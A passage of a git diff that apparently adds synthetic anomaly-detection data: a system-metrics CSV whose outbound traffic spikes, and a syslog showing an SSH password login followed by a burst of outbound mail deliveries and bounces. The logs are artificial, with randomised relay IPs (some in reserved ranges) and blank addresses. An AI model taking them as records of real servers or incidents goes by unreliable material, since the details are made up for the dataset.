2.0.0 OK) +Jul 02 12:06:35 mailserver postfix/qmgr[1234]: <4284628596@mail.example.com>: from=, size=2380, nrcpt=1 (queue active) +Jul 02 12:06:35 mailserver postfix/smtp[5678]: <4284628596@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.50, delays=0.14/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:35 mailserver postfix/qmgr[1234]: <9081105515@mail.example.com>: from=, size=4502, nrcpt=1 (queue active) +Jul 02 12:06:35 mailserver postfix/smtp[5678]: <9081105515@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.48, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:35 mailserver postfix/qmgr[1234]: <1169730201@mail.example.com>: from=, size=5451, nrcpt=1 (queue active) +Jul 02 12:06:35 mailserver postfix/smtp[5678]: <1169730201@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.15, delays=0.33/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:35 mailserver postfix/qmgr[1234]: <1786466748@mail.example.com>: from=, size=7665, nrcpt=1 (queue active) +Jul 02 12:06:35 mailserver postfix/smtp[5678]: <1786466748@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.88, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:35 mailserver postfix/qmgr[1234]: <5765867349@mail.example.com>: from=, size=6117, nrcpt=1 (queue active) +Jul 02 12:06:35 mailserver postfix/smtp[5678]: <5765867349@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.33, delays=0.05/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:06:35 mailserver postfix/smtp[5679]: <5765867349@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=0.84, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:06:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:00 web-app[1122]: GET /api/v1/user/health status=200 OK diff --git a/mali_dataset/scenario_5/mali_5_3.csv b/mali_dataset/scenario_5/mali_5_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..21f3d92dc3ffa42c80bc88e927a0ce3ef1453f7f --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-07T04:12:00Z,10.02,44.61,20.85,0.89,2.44 +2025-08-07T04:12:05Z,17.04,41.7,19.06,0.9,2.02 +2025-08-07T04:12:10Z,16.93,36.2,16.45,0.59,1.62 +2025-08-07T04:12:15Z,19.52,37.79,19.83,1.35,0.92 +2025-08-07T04:12:20Z,11.63,43.07,22.2,0.79,1.89 +2025-08-07T04:12:25Z,13.88,41.37,17.76,1.0,1.0 +2025-08-07T04:12:30Z,11.3,39.13,17.12,1.21,1.75 +2025-08-07T04:12:35Z,11.94,38.59,18.98,1.28,1.13 +2025-08-07T04:12:40Z,12.28,44.42,19.87,0.79,1.21 +2025-08-07T04:12:45Z,17.51,42.04,15.39,1.49,0.84 +2025-08-07T04:12:50Z,16.51,39.4,19.3,0.95,1.33 +2025-08-07T04:12:55Z,19.42,38.05,17.42,0.64,1.4 +2025-08-07T04:13:00Z,17.3,43.63,24.45,1.44,1.41 +2025-08-07T04:13:05Z,19.69,35.87,16.84,0.83,1.78 +2025-08-07T04:13:10Z,14.32,35.14,21.14,0.66,2.08 +2025-08-07T04:13:15Z,17.08,40.4,20.07,0.61,1.5 +2025-08-07T04:13:20Z,18.55,35.26,18.82,1.38,2.12 +2025-08-07T04:13:25Z,10.69,41.64,22.28,0.89,2.23 +2025-08-07T04:13:30Z,10.41,43.07,24.54,0.56,2.23 +2025-08-07T04:13:35Z,19.34,43.87,23.47,0.79,1.37 +2025-08-07T04:13:40Z,23.28,44.93,21.53,0.88,33.71 +2025-08-07T04:13:45Z,41.55,44.75,22.51,1.72,30.7 +2025-08-07T04:13:50Z,73.5,42.37,26.3,1.96,27.34 +2025-08-07T04:13:55Z,41.19,42.03,21.35,1.41,26.53 +2025-08-07T04:14:00Z,73.33,47.4,20.88,1.22,28.7 +2025-08-07T04:14:05Z,41.83,43.75,19.41,1.37,24.65 +2025-08-07T04:14:10Z,34.15,40.82,21.92,1.04,35.69 +2025-08-07T04:14:15Z,32.4,45.06,26.78,0.88,46.12 +2025-08-07T04:14:20Z,23.21,42.42,29.99,1.94,39.61 +2025-08-07T04:14:25Z,57.5,47.68,25.75,0.77,49.3 +2025-08-07T04:14:30Z,45.0,45.61,29.99,1.17,34.45 +2025-08-07T04:14:35Z,65.05,48.43,18.8,0.69,36.3 +2025-08-07T04:14:40Z,44.3,41.72,22.92,1.52,32.78 +2025-08-07T04:14:45Z,32.07,46.1,28.02,1.86,45.28 +2025-08-07T04:14:50Z,71.45,45.46,24.84,1.93,48.62 +2025-08-07T04:14:55Z,65.31,41.75,23.66,1.23,40.54 +2025-08-07T04:15:00Z,35.9,46.81,21.12,1.67,20.21 +2025-08-07T04:15:05Z,52.22,46.68,23.75,1.65,39.61 +2025-08-07T04:15:10Z,49.71,45.18,21.7,1.57,45.38 +2025-08-07T04:15:15Z,40.0,45.56,22.31,0.82,32.61 +2025-08-07T04:15:20Z,20.65,45.94,27.22,1.09,44.77 +2025-08-07T04:15:25Z,65.85,40.81,26.66,0.74,40.04 +2025-08-07T04:15:30Z,29.75,46.24,28.66,1.4,37.97 +2025-08-07T04:15:35Z,37.34,43.98,23.7,1.64,28.58 +2025-08-07T04:15:40Z,63.71,44.14,19.27,1.29,23.77 +2025-08-07T04:15:45Z,73.38,46.37,25.31,0.63,21.7 +2025-08-07T04:15:50Z,34.44,49.02,19.99,1.61,34.46 +2025-08-07T04:15:55Z,29.58,49.59,29.52,0.96,47.7 +2025-08-07T04:16:00Z,70.27,44.51,25.29,0.99,49.72 +2025-08-07T04:16:05Z,74.55,46.97,29.41,1.14,23.37 +2025-08-07T04:16:10Z,69.86,43.46,18.64,1.26,46.83 +2025-08-07T04:16:15Z,64.58,47.66,21.75,0.93,49.79 +2025-08-07T04:16:20Z,60.57,46.0,23.63,0.84,41.5 +2025-08-07T04:16:25Z,44.56,48.92,26.36,0.87,48.34 +2025-08-07T04:16:30Z,33.76,49.81,26.67,0.87,29.93 +2025-08-07T04:16:35Z,43.07,49.97,22.03,0.57,26.08 +2025-08-07T04:16:40Z,34.74,48.16,26.83,1.85,42.15 +2025-08-07T04:16:45Z,27.07,44.02,28.14,1.19,24.39 +2025-08-07T04:16:50Z,46.21,48.24,27.05,1.71,42.34 +2025-08-07T04:16:55Z,34.21,42.88,19.88,1.11,28.76 +2025-08-07T04:17:00Z,59.64,47.62,22.34,0.99,39.97 +2025-08-07T04:17:05Z,66.91,47.22,18.66,1.03,24.41 +2025-08-07T04:17:10Z,74.34,45.04,18.17,1.76,24.16 +2025-08-07T04:17:15Z,55.57,48.24,28.49,1.21,46.19 +2025-08-07T04:17:20Z,51.7,43.5,26.73,1.97,47.66 +2025-08-07T04:17:25Z,62.86,41.94,27.45,0.64,28.72 +2025-08-07T04:17:30Z,67.34,42.07,27.99,0.88,25.58 +2025-08-07T04:17:35Z,58.95,41.57,18.71,1.42,32.25 +2025-08-07T04:17:40Z,48.75,43.7,22.8,1.33,34.57 +2025-08-07T04:17:45Z,57.36,40.02,25.51,1.73,27.24 +2025-08-07T04:17:50Z,40.97,46.98,27.75,1.66,20.13 +2025-08-07T04:17:55Z,47.82,46.62,28.89,0.61,43.81 +2025-08-07T04:18:00Z,59.66,48.31,26.28,1.8,30.53 +2025-08-07T04:18:05Z,70.07,49.97,26.14,1.54,29.62 +2025-08-07T04:18:10Z,30.67,49.2,23.34,1.19,23.5 +2025-08-07T04:18:15Z,26.06,42.51,25.25,0.88,24.23 +2025-08-07T04:18:20Z,25.35,48.77,19.52,1.69,39.41 +2025-08-07T04:18:25Z,57.14,41.82,21.4,0.95,20.77 +2025-08-07T04:18:30Z,24.36,44.13,24.58,1.38,26.77 +2025-08-07T04:18:35Z,56.32,44.98,24.04,1.99,37.27 +2025-08-07T04:18:40Z,32.17,40.5,28.76,1.77,43.74 +2025-08-07T04:18:45Z,22.56,45.33,21.0,0.92,26.93 +2025-08-07T04:18:50Z,35.42,49.22,22.07,0.94,49.64 +2025-08-07T04:18:55Z,53.71,41.24,25.37,0.6,47.48 +2025-08-07T04:19:00Z,64.04,48.4,24.5,1.78,23.93 +2025-08-07T04:19:05Z,67.35,45.11,19.34,1.89,35.69 +2025-08-07T04:19:10Z,27.88,40.02,27.44,1.43,39.73 +2025-08-07T04:19:15Z,23.75,48.07,28.15,1.04,37.19 +2025-08-07T04:19:20Z,21.63,44.38,27.87,1.37,32.91 +2025-08-07T04:19:25Z,47.82,44.72,25.6,0.57,39.04 diff --git a/mali_dataset/scenario_5/mali_5_3.log b/mali_dataset/scenario_5/mali_5_3.log new file mode 100644 index 0000000000000000000000000000000000000000..dc77ac69b008072cadee78e4866fb212970a7fc0 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_3.log @@ -0,0 +1,241 @@ +Aug 07 04:12:05 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 07 04:12:15 server sshd[8654]: Accepted password for user admin from 28.43.93.199 port 43754 ssh2 +Aug 07 04:12:40 server CRON[9720]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 07 04:13:43 server postfix/smtp[17450]: 0FBD4B2810: to=, from=, relay=aspmx.l.google.com[230.142.55.139]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:13:43 server postfix/smtp[17452]: 703E99CC58: to=, from=, relay=aspmx.l.google.com[183.80.34.147]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:13:44 server postfix/smtp[17451]: B293745E2D: to=, from=, relay=web-host.org[89.24.178.97]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:13:48 server postfix/smtp[17453]: CB363AB038: to=, from=, relay=aspmx.l.google.com[75.77.245.108]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:13:49 server postfix/smtp[17454]: 200393F7F4: to=, from=, relay=aspmx.l.google.com[242.242.241.149]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:13:53 server postfix/smtp[17456]: D548907EB2: to=, from=, relay=business.biz[39.178.241.185]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:13:54 server postfix/smtp[17455]: 92930762E0: to=, from=, relay=example.com[238.133.127.230]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:13:55 server postfix/smtp[17459]: 7B4FB279BC: to=, from=, relay=aspmx.l.google.com[254.215.64.146]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:13:56 server postfix/smtp[17457]: DB27813477: to=, from=, relay=aspmx.l.google.com[17.201.200.53]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:13:56 server postfix/smtp[17458]: 0FAA9C38EC: to=, from=, relay=aspmx.l.google.com[56.145.121.19]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:00 server postfix/smtp[17462]: B6A177692C: to=, from=, relay=mailservice.net[179.129.162.123]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:14:02 server postfix/smtp[17461]: F3704A24D2: to=, from=, relay=web-host.org[125.143.234.47]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:14:03 server postfix/smtp[17460]: ED28B76F99: to=, from=, relay=aspmx.l.google.com[252.11.87.26]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:05 server postfix/smtp[17464]: 708D712730: to=, from=, relay=mailservice.net[67.206.19.210]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:14:05 server postfix/smtp[17465]: 3821471E34: to=, from=, relay=aspmx.l.google.com[190.16.143.174]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:05 server postfix/smtp[17466]: 3680FF0D3D: to=, from=, relay=web-host.org[187.109.139.237]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:14:08 server postfix/smtp[17463]: 41FB92E4FA: to=, from=, relay=aspmx.l.google.com[141.176.26.201]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:11 server postfix/smtp[17468]: 2202D40FAB: to=, from=, relay=aspmx.l.google.com[187.66.129.84]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:11 server postfix/smtp[17469]: D2F103DE0D: to=, from=, relay=aspmx.l.google.com[97.178.114.55]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:13 server postfix/smtp[17470]: A6CF55242B: to=, from=, relay=aspmx.l.google.com[122.196.115.191]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:14 server postfix/smtp[17467]: 80C6FB09EC: to=, from=, relay=aspmx.l.google.com[192.88.88.9]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:15 server postfix/smtp[17474]: B09DF3236F: to=, from=, relay=aspmx.l.google.com[103.244.7.11]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:17 server postfix/smtp[17471]: 45231747A8: to=, from=, relay=aspmx.l.google.com[130.40.149.79]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:17 server postfix/smtp[17472]: 91172D14A1: to=, from=, relay=aspmx.l.google.com[71.217.160.57]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:17 server postfix/smtp[17473]: F62489AE51: to=, from=, relay=aspmx.l.google.com[124.33.196.62]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:20 server postfix/smtp[17476]: 147BB4CB81: to=, from=, relay=aspmx.l.google.com[90.211.36.250]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:21 server postfix/smtp[17475]: 3CC4CC3FFC: to=, from=, relay=aspmx.l.google.com[25.240.236.36]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:24 server postfix/smtp[17477]: 3B31D37AF7: to=, from=, relay=aspmx.l.google.com[128.71.39.140]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:25 server postfix/smtp[17478]: CB724E61CD: to=, from=, relay=aspmx.l.google.com[245.132.158.247]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:26 server postfix/smtp[17480]: 630AD16A49: to=, from=, relay=aspmx.l.google.com[11.5.78.224]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:27 server postfix/smtp[17479]: 3992E00708: to=, from=, relay=user-mail.info[98.5.250.230]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:14:28 server postfix/smtp[17481]: C142BD585F: to=, from=, relay=aspmx.l.google.com[184.18.1.91]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:29 server postfix/smtp[17482]: C0FEE403A0: to=, from=, relay=aspmx.l.google.com[225.222.120.80]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:30 server postfix/smtp[17486]: 4E9E67605C: to=, from=, relay=aspmx.l.google.com[37.51.154.173]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:33 server postfix/smtp[17483]: C5A6CFE55A: to=, from=, relay=business.biz[6.249.200.209]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:14:33 server postfix/smtp[17484]: 34BE89B286: to=, from=, relay=aspmx.l.google.com[231.249.152.140]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:33 server postfix/smtp[17485]: 33B1F3F5D0: to=, from=, relay=aspmx.l.google.com[209.5.229.180]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:35 server postfix/smtp[17488]: 898B331E8B: to=, from=, relay=aspmx.l.google.com[142.62.101.230]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:38 server postfix/smtp[17487]: 42701129B5: to=, from=, relay=aspmx.l.google.com[77.153.150.213]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:41 server postfix/smtp[17490]: E8FD093F68: to=, from=, relay=aspmx.l.google.com[148.248.123.162]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:43 server postfix/smtp[17489]: 6E81E455A0: to=, from=, relay=mailservice.net[182.251.124.202]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:14:45 server postfix/smtp[17494]: C5BB3C4886: to=, from=, relay=user-mail.info[2.69.202.94]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:14:46 server postfix/smtp[17491]: B41FC5B9C1: to=, from=, relay=aspmx.l.google.com[189.204.133.151]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:46 server postfix/smtp[17492]: E2C9CDCD87: to=, from=, relay=aspmx.l.google.com[241.141.220.118]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:48 server postfix/smtp[17493]: B6A1810503: to=, from=, relay=aspmx.l.google.com[138.239.31.80]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:50 server postfix/smtp[17496]: CD597F81D9: to=, from=, relay=aspmx.l.google.com[205.160.51.239]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:51 server postfix/smtp[17497]: 96D41CC94D: to=, from=, relay=aspmx.l.google.com[188.214.215.62]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:52 server postfix/smtp[17495]: 431ED3972F: to=, from=, relay=business.biz[187.78.104.49]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:14:55 server postfix/smtp[17500]: EC57E2CA0A: to=, from=, relay=web-host.org[207.242.243.62]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:14:55 server postfix/smtp[17501]: 50334B1B06: to=, from=, relay=aspmx.l.google.com[56.253.170.137]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:57 server postfix/smtp[17498]: E06B2C44EA: to=, from=, relay=aspmx.l.google.com[30.89.132.145]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:57 server postfix/smtp[17499]: E0266A9F54: to=, from=, relay=aspmx.l.google.com[29.240.38.93]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:14:59 server postfix/smtp[17502]: AC8B6A7EE7: to=, from=, relay=aspmx.l.google.com[150.173.161.142]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:00 server postfix/smtp[17503]: 82AAFAEDD9: to=, from=, relay=aspmx.l.google.com[164.4.218.166]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:01 server postfix/smtp[17504]: 78E9B0B9C8: to=, from=, relay=web-host.org[58.78.29.33]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:15:03 server postfix/smtp[17507]: 694775B857: to=, from=, relay=example.com[87.243.143.186]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:15:04 server postfix/smtp[17505]: BF8D02E3A3: to=, from=, relay=aspmx.l.google.com[206.132.247.78]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:04 server postfix/smtp[17506]: 7273DF619A: to=, from=, relay=aspmx.l.google.com[78.247.183.250]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:09 server postfix/smtp[17508]: AB1DF15CD6: to=, from=, relay=aspmx.l.google.com[189.16.254.98]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:09 server postfix/smtp[17509]: 74FD89D134: to=, from=, relay=aspmx.l.google.com[83.59.186.131]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:11 server postfix/smtp[17510]: 83C63C35BE: to=, from=, relay=aspmx.l.google.com[213.125.181.31]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:11 server postfix/smtp[17511]: AE64773E0B: to=, from=, relay=web-host.org[100.135.143.198]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:15:16 server postfix/smtp[17515]: E2E0765B24: to=, from=, relay=user-mail.info[107.168.208.85]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:15:17 server postfix/smtp[17512]: 04C599B078: to=, from=, relay=aspmx.l.google.com[88.128.62.156]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:18 server postfix/smtp[17513]: 7E1477309A: to=, from=, relay=web-host.org[186.135.159.180]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:15:18 server postfix/smtp[17514]: 65FBC2F1E6: to=, from=, relay=aspmx.l.google.com[27.34.105.64]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:20 server postfix/smtp[17518]: B8D362F448: to=, from=, relay=aspmx.l.google.com[76.182.97.127]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:22 server postfix/smtp[17519]: F95792EADE: to=, from=, relay=aspmx.l.google.com[115.131.152.44]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:23 server postfix/smtp[17517]: 3F4F6298EF: to=, from=, relay=aspmx.l.google.com[227.41.161.246]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:24 server postfix/smtp[17516]: E54E713F79: to=, from=, relay=aspmx.l.google.com[196.73.187.58]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:29 server postfix/smtp[17520]: A89D4BADFF: to=, from=, relay=aspmx.l.google.com[144.199.78.202]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:29 server postfix/smtp[17521]: B9FD1B35AF: to=, from=, relay=aspmx.l.google.com[180.32.8.3]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:30 server postfix/smtp[17523]: 07A825E3A5: to=, from=, relay=aspmx.l.google.com[11.46.158.236]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:31 server postfix/smtp[17524]: 5307B7BB82: to=, from=, relay=aspmx.l.google.com[48.167.195.134]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:32 server postfix/smtp[17522]: 56B5162AE2: to=, from=, relay=aspmx.l.google.com[112.212.129.201]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:37 server postfix/smtp[17526]: A767CC1C3E: to=, from=, relay=user-mail.info[240.126.100.27]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:15:39 server postfix/smtp[17525]: 650EC4ADDF: to=, from=, relay=user-mail.info[31.63.122.203]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:15:40 server postfix/smtp[17527]: 7F129DAF6A: to=, from=, relay=aspmx.l.google.com[33.10.235.184]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:40 server postfix/smtp[17530]: 2E646C7511: to=, from=, relay=aspmx.l.google.com[153.234.55.244]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:40 server postfix/smtp[17531]: 0C5EC4713D: to=, from=, relay=aspmx.l.google.com[238.35.71.113]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:43 server postfix/smtp[17529]: D95DC1A489: to=, from=, relay=aspmx.l.google.com[129.102.74.49]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:44 server postfix/smtp[17528]: 566E687415: to=, from=, relay=aspmx.l.google.com[127.46.240.12]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:45 server postfix/smtp[17532]: B709BF54B4: to=, from=, relay=example.com[97.218.154.88]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:15:45 server postfix/smtp[17534]: 7FB91FE4B3: to=, from=, relay=example.com[51.140.108.46]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:15:48 server postfix/smtp[17533]: 729E8724D4: to=, from=, relay=aspmx.l.google.com[232.136.212.157]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:50 server postfix/smtp[17537]: CA1A696CB9: to=, from=, relay=web-host.org[89.46.88.242]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:15:50 server postfix/smtp[17538]: 27A77AD6DF: to=, from=, relay=aspmx.l.google.com[243.205.119.207]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:52 server postfix/smtp[17535]: 6604388F1C: to=, from=, relay=user-mail.info[166.38.38.195]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:15:52 server postfix/smtp[17536]: 30E2E9B0B6: to=, from=, relay=aspmx.l.google.com[176.178.252.106]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:54 server postfix/smtp[17539]: 95964DDB15: to=, from=, relay=mailservice.net[154.115.132.102]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:15:55 server postfix/smtp[17544]: 14B31E02CC: to=, from=, relay=aspmx.l.google.com[41.204.29.156]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:56 server postfix/smtp[17541]: 82072815B7: to=, from=, relay=aspmx.l.google.com[52.216.226.95]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:57 server postfix/smtp[17542]: 42E9D95687: to=, from=, relay=aspmx.l.google.com[206.220.221.208]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:58 server postfix/smtp[17540]: 694881680A: to=, from=, relay=aspmx.l.google.com[91.203.52.96]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:15:59 server postfix/smtp[17543]: 927109BEBF: to=, from=, relay=aspmx.l.google.com[192.79.154.169]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:01 server postfix/smtp[17547]: F0E31A95B9: to=, from=, relay=aspmx.l.google.com[103.123.235.125]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:02 server postfix/smtp[17546]: 305D013D54: to=, from=, relay=aspmx.l.google.com[22.8.144.19]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:04 server postfix/smtp[17545]: 7ED5E2D272: to=, from=, relay=aspmx.l.google.com[122.146.109.9]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:06 server postfix/smtp[17549]: 73C20A5450: to=, from=, relay=mailservice.net[174.180.244.104]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:16:09 server postfix/smtp[17548]: 40A67FC809: to=, from=, relay=business.biz[102.161.22.50]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:16:10 server postfix/smtp[17550]: F7A2748653: to=, from=, relay=aspmx.l.google.com[157.240.90.155]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:12 server postfix/smtp[17551]: 4A65C80BEF: to=, from=, relay=user-mail.info[188.53.167.61]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) 